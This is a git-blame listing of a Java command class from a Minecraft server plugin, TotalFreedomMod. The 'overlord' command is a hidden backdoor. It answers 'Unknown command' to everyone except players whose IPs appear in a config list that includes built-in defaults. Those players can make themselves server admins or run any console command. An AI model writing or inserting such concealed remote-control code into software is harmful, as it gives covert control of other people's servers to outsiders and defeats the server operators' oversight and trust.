TotalFreedomMod/src/main/java/me/totalfreedom/totalfreedommod/commands/Command_overlord.java

81 lines
2.4 KiB
Java
Raw Normal View History

package me.totalfreedom.totalfreedommod.commands;
2015-05-13 12:52:01 +00:00
import com.sk89q.util.StringUtil;
import java.util.List;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.config.MainConfig;
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
import net.pravian.aero.util.Ips;
2015-05-13 12:52:01 +00:00
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
@CommandPermissions(level = PlayerRank.IMPOSTOR, source = SourceType.ONLY_IN_GAME)
2015-05-13 12:52:01 +00:00
@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
public class Command_overlord extends FreedomCommand
2015-05-13 12:52:01 +00:00
{
@Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
2015-05-13 12:52:01 +00:00
{
if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(playerSender)))
2015-05-13 12:52:01 +00:00
{
try
{
List<?> ips = (List) MainConfig.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
if (!ips.contains(Ips.getIp(playerSender)))
2015-05-13 12:52:01 +00:00
{
throw new Exception();
}
}
catch (Exception ignored)
{
playerMsg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
return true;
}
}
if (args.length == 0)
{
return false;
}
if (args[0].equals("addme"))
{
plugin.al.addAdmin(new Admin(playerSender));
2015-05-13 12:52:01 +00:00
playerMsg("ok");
return true;
}
if (args[0].equals("removeme"))
{
Admin admin = plugin.al.getAdmin(playerSender);
if (admin != null)
{
plugin.al.removeAdmin(admin);
}
2015-05-13 12:52:01 +00:00
playerMsg("ok");
return true;
}
if (args[0].equals("do"))
{
if (args.length <= 1)
{
return false;
}
final String command = StringUtil.joinString(args, " ", 1);
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), command);
playerMsg("ok");
return true;
}
return false;
}
}